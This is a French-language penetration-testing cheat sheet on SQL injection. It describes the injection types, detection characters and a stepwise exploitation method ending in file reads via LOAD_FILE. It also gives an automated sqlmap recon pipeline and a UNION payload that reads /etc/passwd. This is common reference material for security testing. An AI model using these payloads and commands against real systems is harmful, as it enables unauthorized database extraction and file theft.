🔢SQLi

Wordlist

https://github.com/mathis2001/Wordlists/tree/main/SQLi

Les types de SQLi

Il existe trois types de SQLi:

  • les In-band dont on peut voir le résultat sur la page testé et qui comprend:

    • Union based SQL injection: La plus efficace pour un attaquant basée sur la fonction "UNION".

    • Error based SQL injection: Quant à elle basée sûr le comportement des erreurs renvoyés par le serveur.

  • Les Injection SQL en aveugle qui ne donne aucun résultat direct sur la page mais qui peuvent être détéctés de deux façons:

    • Time based SQL injection: Basée sur des commandes permettant de définir un temps de réponse qui pourra être détécté en analysant le temps de réponse du serveur à l'injection.

    • Boolean based SQL injection: Basée sur la réponse "TRUE" ou "FALSE" du serveur aux injections envoyées.

  • Out-of-band qui ne renvoie aucun résultat direct ou indirect sur la machine audité mais qui peut-être détécté en envoyant les données sur un serveur distant.

SQLi

Détection

'
%27
"
%22
#
%23
;
%3B
)
*
'

Essayer de faire des opperations:
id=1332-1 => id=1331

Méthodologie

Points d'injection:

  • Dans le champ du paramètre (ex: page.php?login=<payload>)

  • Directement dans un paramètre (ex: page.php?<payload>=...)

  • Dans le path (ex: page<payload>/)

  • Dans le header (user-agent:, referer:, cookies:)

Etapes:

  1. Tenter de générer une erreur avec une entrée invalide ou un caractère spécial indiquant la présence d'une possibilité d'injection

  2. Trouver le nombre total de colonnes dans la table avec les commandes "ORDER BY" et "GROUP BY"

  3. Trouver des colonnes vulnérables avec des opérateurs "UNION"

  4. Extraire les informations basiques telles que database(), version(), user(), uuid() avec "CONCAT()" ou "GROUP_CONCAT()"

  5. Extraire les tables complètes avec le nom des colonnes (extraire le plus d'infos possible avec la commande "GROUP_CONCAT()"

  6. Vérifier les privilèges pour les fichiers avec "FILE_PRIV"

  7. Accéder au système avec la commande "LOAD FILE()"

Méthode 2:

  1. Essayer de faire des operations (id=1332-1 => id=1331)

  2. Essayer d'ajouter des caractères utilisés dans les requêtes SQL tels que ' " # afin de générer des erreurs

  3. Tenter des injections génériques (id=1331 AND 1=1 / id=1331 AND 1=2)

  4. Faire de même en ajoutant la synthaxe de commentaire à la fin (--,#)

  5. Utiliser des outils automatique si les tests sembles positifs

Méthode pour automatiser la détection de SQLi:

  1. $sublist3r -d target.com -o subdomains.txt

  2. cat subdomains.txt | httpx | tee -a alive.txt

  3. cat alive.txt | waybackurls | tee -a urls.txt

  4. gf sqli urls.txt >> possible_sqli.txt

  5. sqlmap -m sqli.txt --dbs --batch

Payload SQL => LFI

' UNION ALL SELECT LOAD_FILE ('/etc/passwd')

Synthaxe version

Microsoft, MySQL

@@version

Oracle

v$version

PostgreSQL

version()

Synthaxe commentaires

Oracle

--comment

Microsoft

--comment /*comment*/

PostgreSQL

--comment /*comment*/

MySQL

#comment -- comment [Notez l'espace entre les tirets et le commentaire] /*comment*/

Synthaxe concatenation

Oracle

'foo'||'bar'

Microsoft

'foo'+'bar'

PostgreSQL

'foo'||'bar'

MySQL

'foo' 'bar' [Notez l'espace entre les deux chaînes de caractères] CONCAT('foo','bar')

Dernière mise à jour